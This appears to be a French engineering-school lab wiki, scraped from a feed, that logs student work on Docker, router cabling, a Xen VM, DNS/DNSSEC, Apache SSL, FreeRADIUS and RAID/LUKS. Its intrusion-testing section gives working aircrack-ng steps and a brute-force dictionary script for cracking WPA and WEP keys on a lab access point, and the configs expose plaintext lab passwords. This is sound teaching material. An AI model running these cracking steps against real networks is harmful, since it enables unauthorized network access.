On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.2 Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.4 DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
Nous vérifions sous dnsviz.net le bon fonctionnement du DNSSEC :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNSSEC G7.png|500px]]&lt;br /&gt;
&lt;br /&gt;
===4.3 Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Httpshercule.png|1000px|center]]&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===5.3 Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===5.2 Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DNSSEC_G7.png&amp;diff=49137</id>
		<title>Fichier:DNSSEC G7.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DNSSEC_G7.png&amp;diff=49137"/>
				<updated>2018-12-21T18:23:09Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49126</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49126"/>
				<updated>2018-12-21T17:54:55Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* 6.1 Cryptage de données */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
